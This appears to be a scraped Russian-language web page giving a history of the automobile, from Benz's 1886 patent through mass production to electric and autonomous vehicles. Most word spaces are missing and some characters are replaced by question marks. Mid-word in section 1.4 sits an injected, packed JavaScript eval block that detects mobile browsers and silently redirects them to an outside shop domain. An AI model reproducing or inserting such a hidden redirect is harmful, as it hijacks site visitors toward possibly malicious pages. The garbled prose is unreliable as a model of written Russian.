Год 1886 считаетсягодом основаниясовременногоавтомобиля. Немецкийинженер КарлБенц 29 января 1886 годаизобрелвмирепервыйзапатентованныйтрехколесныйбензиновыйавтомобиль. ВтожевремяГотлибДаймлер разработалпервыйчетырехколесныйвысокоскоростнойбензиновыйавтомобиль. Обаэтихизобретенияознаменовалиофициальноерождениесовременногоавтомобиляизавершилиэпохуисключительномеханическихипаровыхтранспортныхсредств.
ПервыйавтомобильКарлаБенцабылоснащенодноцилиндровым четырехтактным бензиновым двигателем, простойрамнойконструкцией, механическим рулевым управлением итормознойсистемой. Несмотрянамалуюмощность, низкуюскоростьипростотуустройства, онобладалвсемиосновнымипризнакамисовременногоавтомобиля: автономным источником энергии, механическойпередачеймощности, управляемойходовойчастьюитормозным устройством.
Наначальном этапеавтомобильбылпредметом роскошитолькодлянемногихсостоятельныхлюдей. Себестоимостьпроизводствабылачрезвычайновысокой, изготовлениевелоськустарным способом, анадежностьоставаласьнизкой. Несуществовалоспециализированнойавтомобильнойпромышленности, стандартизированныхдеталейипрофессиональнойсистемы техническогообслуживания. Распространениеавтомобилявтотпериодбылокрайнеограниченным.
1.3 Массовоепроизводствоипопуляризацияавтомобиля (1900–1950)
КрупнейшийпрорыввисторииавтомобилестроениясовершиламериканскийпромышленникГенриФорд. В 1913 годуФордввелнаавтомобильном заводеконвейерноепроизводствоивпервыереализовалстандартизированноемассовоеизготовлениеавтомобилей. МодельФорд?Тсталапервым массовым автомобилем вмире.
Допоявленияконвейерногопроизводствакаждыйавтомобильизготавливалсявручнуюпоиндивидуальномупроекту, чтоприводилокдлительномупроизводственномуциклуивысоким затратам. БлагодарястандартизацииизготовлениядеталейиконвейернойсборкеФордрезкоснизилсебестоимость, значительносократилвремяпроизводстваипостепенносделалавтомобильдоступным дляобычныхсемей.
Впериодс 1910 по 1950 годавтомобильнаяпромышленностьбыстроразвиваласьвЕвропеиСевернойАмерике. Германия, Франция, ВеликобританияиСШАпоследовательносоздалицелостныесистемы автомобильногопроизводства. Конструкцияавтомобилейпостояннооптимизировалась: четырехтактныедвигателиполучилиширокоераспространение, усовершенствовалисьмеханическиекоробкипередач, подвеска, кузовасталиболеепрочнымиикомфортными.
Крометого, появилисьпервыеправиладорожногодвижения, специальныедорогидляавтотранспортаибазоваясистематехническогообслуживанияавтомобилей. Автомобильпостепеннопревратилсяизпредметароскошивповседневноетранспортноесредстводляширокихслоевнаселения.
1.4 Техническоесовершенствоипромышленнаяэкспансия (1950–2000)
ПослеВтороймировойвойны глобальнаяавтомобильнаяпромышленностьпережилазолотойпериодразвития. Технологиипроизводствасталиболееточными, совершенствовалосьдвигателестроение, снижалсярасходтоплива, значительноулучшилисьпоказателикомфортаибезопасностивождения.
Вэтотпериодсформировалисьтрикрупныеавтомобильныедержавы: Германия, ЯпонияиСША. Немецкиеавтомобилиотличалисьвысокойточностьюизготовления, устойчивостьюитехническойпрогрессивностью; японские — низким расходом топлива, высокойнадежностьюиэкономичным производством; американские — просторным салоном, высокоймощностьюдвигателейикомфортнымиусловиямипоездки.
Одновременнобылиизобретены иполучилираспространениемногиеключевыетехнологиисовременногоавтомобиля: гидроусилительруля, дисковыетормоза, автоматическаякоробкапередач, электроннаясистемауправлениядвигателем, антиблокировочнаятормознаясистема, подушкибезопасностиисиловаяструктуракузова.
С 1980?хгодовэлектроннаятехникасталапостепеннозаменятьмеханическиеузлы автомобиля. Втранспортныесредстваустанавливалосьвсебольшеэлектронныхблоковуправления, врезу
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855314|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
льтатеавтомобильизчистомеханическогоизделияпревратилсявкомплексныймеханико?электронныйпродукт.
К 2000 годуглобальнаяавтомобильнаяпромышленностьсформироваласовершеннуюпроизводственнуюсистему, включающуюнаучно?исследовательскиеиопытно?конструкторскиеработы, производство, сбытитехническоеобслуживание. Годовоймировойвыпускавтомобилейпревысилотметкув 50 миллионовединиц, иавтомобильсталосновным гражданским средством передвижениячеловеческогообщества.
1.5 Трансформациявнаправленииинтеллектуализациииновыхисточниковэнергии (2000?настоящеевремя)
Вначале XXI векатрадиционныеавтомобилис двигателем внутреннегосгораниястолкнулисьс серьезнымивызовами: высокоепотреблениенефтепродуктов, растущийдефицитэнергоресурсов, строгиенормативы охраны окружающейсреды иповышающиесятребованиякдорожнойбезопасности.
Втожевремябурноразвиваютсятехнологииновыхисточниковэнергии, интеллектуальныедатчики, интернет?технологиииискусственныйинтеллект, чтообусловилодвойнуютрансформациюавтомобильнойотрасли: электрификациюсиловыхустановокиинтеллектуализациювождения.
Соднойстороны, электромобили, гибридныеавтомобилиитранспортныесредстванатопливныхэлементахактивноразвиваютсяипостепенновытесняюттрадиционныебензиновыеидизельныемашины. Сдругойстороны, непрерывносовершенствуютсясистемы помощиводителю, интеллектуальнаясетеваясвязьитехнологииавтономноговождения. Современныйавтомобильпревращаетсяизпростогосредствапередвижениявинтеллектуальноемобильноепространствос функциямисетевогоподключения, взаимодействияиавтономнойработы.
Сегодняглобальнаяавтомобильнаяпромышленностьнаходитсявстадиикомплекснойструктурнойперестройки. Традиционныеавтопроизводителипроводяттрансформацию, одновременнопоявляютсяновыекомпании?производителиавтомобилейнаальтернативныхисточникахэнергии. Всяотрасльпереживаеткрупнейшуютехническуюипромышленнуюреволюциюсовремен